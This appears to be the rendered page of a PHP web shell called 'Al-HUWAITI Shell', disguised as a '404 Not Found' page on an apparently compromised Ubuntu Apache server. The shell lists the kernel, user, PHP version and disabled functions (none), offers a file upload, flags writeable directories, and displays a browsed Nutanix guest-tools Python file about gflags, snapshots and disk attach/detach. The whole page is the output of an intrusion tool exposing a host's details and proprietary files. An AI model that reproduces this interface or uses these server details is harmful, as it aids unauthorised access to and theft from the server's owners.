hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache/2.4.52 (Ubuntu)
System : Linux HAN2 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : servadmin ( 1000)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
Directory :  /usr/local/nutanix/ngt/ngtcli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/nutanix/ngt/ngtcli/ssr_cli_functions.py
# Copyright (c) 2016 Nutanix Inc. All rights reserved.
#
# Author: annie.pillai@nutanix.com
#
# This class implements the main ssr functions to make
# calls to the backend.
#

import json
import os
from ngtcli_utils import *
from ngtcli_consts import *
from ngt_v1.tasks.attach_disk_task import AttachDiskTask
from ngt_v1.tasks.detach_disk_task import DetachDiskTask
from ssr_utils import guest_rest
from ssr_utils.ssr_consts import *
from ssr_utils.system_utils import SystemUtils
from ssr_utils.utils import Utils

import platform
NGT_INSTALLATION_PATH = 'C:\\Program Files\\Nutanix'

if platform.system() == "Linux":
  NGT_INSTALLATION_PATH = "/usr/local/nutanix/ngt/"

def fetch_capabilities(is_json):
  '''
  Get the list of capabilities supported.
  '''
  data = json.loads(guest_rest.ngt_fetch_capabilities())
  Utils.raise_exception_if_error(data)
  result_list = data[VALUE]

  if is_json:
    print_json(data["status"], result_list)
    return

  print_capabilities(result_list)

def set_gflag(is_json, gflag_data):
  '''
  Modify gflag file using ngt set-flag command.
  '''
  ngt_gflag_path = os.path.join(NGT_INSTALLATION_PATH,
                                "nutanix_guest_agent.gflags")
  gflag_name = list(gflag_data.keys())[0]
  gflag_value = gflag_data[gflag_name]
  new_gflag_list = []
  # If file exists then read existing gflags and
  # if gflag is already present, update it.
  if os.path.exists(ngt_gflag_path):
    with open(ngt_gflag_path , "r") as fp:
      lines = fp.readlines()
      exist_gflag = False
      for line in lines:
        if "--{}=".format(gflag_name) in line:
          new_gflag_list.append("--{}={}\n".format(gflag_name, gflag_value))
          exist_gflag = True
        else:
          new_gflag_list.append(line)
      if not exist_gflag:
        new_gflag_list.append("--{}={}\n".format(gflag_name, gflag_value))
  else:
    new_gflag_list.append("--{}={}\n".format(gflag_name, gflag_value))
  # Update nutanix_guest_agent.gflags with new gflags and its value
  with open(ngt_gflag_path, "w") as fp:
    fp.writelines(new_gflag_list)
  print("Successfully update gflag: {} with value {}".format(gflag_name,
                                                             gflag_value))
  print("Please restart Nutanix Guest Agent Service for the gflags to be updated.")
  return

def list_snapshots(is_json, count=None):
  '''
  Get a list of snapshots from the backend.
  '''
  sys_utils = SystemUtils()
  if not is_json:
    print(START_MSG)

  # Default value of count when set to 0 displays all snapshots.
  if not count:
    count = 0
  data = json.loads(guest_rest.flr_list_vm_snapshots(max_entries=count))
  Utils.raise_exception_if_error(data)
  result_list = sys_utils.reformat_snapshot_info(data[VALUE])

  if is_json:
    print_json(data["status"], result_list)
    return

  # Print the header for the table.
  print_snapshot_header()

  # Loop to print each row.
  total = 0
  for result in result_list:
    disk_list = result.get("disks")
    create_time = result.get("create_time") / 1000
    snap_id = result.get('snapshot_id')
    print_row_for_snapshot(snap_id, disk_list, 0, create_time)

    # Loop to print each disk row in a snapshot
    for i in range(1, len(disk_list)):
      print_row_for_snapshot('', disk_list, i, create_time)
    total += 1

def list_attached_disks(is_json):
  '''
  Get a list of attached disks from the backend.
  '''
  sys_utils = SystemUtils()
  if not is_json:
    print(START_MSG)
  data = json.loads(guest_rest.flr_list_attached_disks())
  Utils.raise_exception_if_error(data)
  result_list = sys_utils.reformat_disk_info(data[VALUE])
  result_list.sort(key=lambda x: x.get('snapshot_id'))

  if is_json:
    print_json(data["status"], result_list)
    return

  # Print the header for the table.
  print_disk_header()

  # Loop to print each row.
  for result in result_list:
    print_attached_disk(result)

def attach_disk(is_json, snap_id, disk_label):
  '''
  Call the attach disk from the backend.
  '''
  attach_disk = AttachDiskTask("", snap_id, disk_label)
  attaching = attach_disk.run()

  print_for_attach_detach_op(is_json, attaching, attach_disk,
      attach_disk.response, ATTACHED)

  if not is_json:
    # Print the header.
    print_disk_header()
    if attach_disk.response:
      print_attached_disk(attach_disk.response)

def detach_disk(is_json, disk_label):
  '''
  Call the detach disk from the backend.
  '''
  detach_disk = DetachDiskTask("", disk_label)
  detaching = detach_disk.run()

  print_for_attach_detach_op(is_json, detaching, detach_disk,
      DETACHED, DETACHED)

Al-HUWAITI Shell